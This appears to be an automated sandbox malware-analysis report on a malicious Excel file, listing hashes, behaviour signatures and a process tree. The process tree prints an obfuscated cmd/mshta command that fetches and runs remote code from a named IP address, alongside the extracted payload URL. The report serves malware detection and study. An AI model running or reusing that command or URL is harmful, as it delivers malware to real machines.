Analysis
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max time kernel
122s -
max time network
131s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11-11-2024 17:46
Behavioral task
behavioral1
Sample
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls
Resource
win10v2004-20241007-en
General
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Target
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls
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Size
64KB
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MD5
a10dd8119334b7870a703ada55cb4cd7
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SHA1
d25ca7d806afbaeb28915b1938380e3861dc23ba
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SHA256
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940
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SHA512
33958baffd9da228313a3b5e25dc54060de84d154e3648494fffe7a02d388e86bcbed91511c89299a13b33657c8b26664f32d75e84834c337e5d9c2380bcbf7e
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SSDEEP
1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0
Malware Config
Extracted
http://87.251.86.178/pp/cc.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2076 3012 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 2168 mshta.exe 5 2168 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3012 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3012 EXCEL.EXE 3012 EXCEL.EXE 3012 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3012 wrote to memory of 2076 3012 EXCEL.EXE 30 PID 3012 wrote to memory of 2076 3012 EXCEL.EXE 30 PID 3012 wrote to memory of 2076 3012 EXCEL.EXE 30 PID 3012 wrote to memory of 2076 3012 EXCEL.EXE 30 PID 2076 wrote to memory of 2168 2076 cmd.exe 32 PID 2076 wrote to memory of 2168 2076 cmd.exe 32 PID 2076 wrote to memory of 2168 2076 cmd.exe 32 PID 2076 wrote to memory of 2168 2076 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\SysWOW64\mshta.exemshta http://87.251.86.178/pp/cc.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2168
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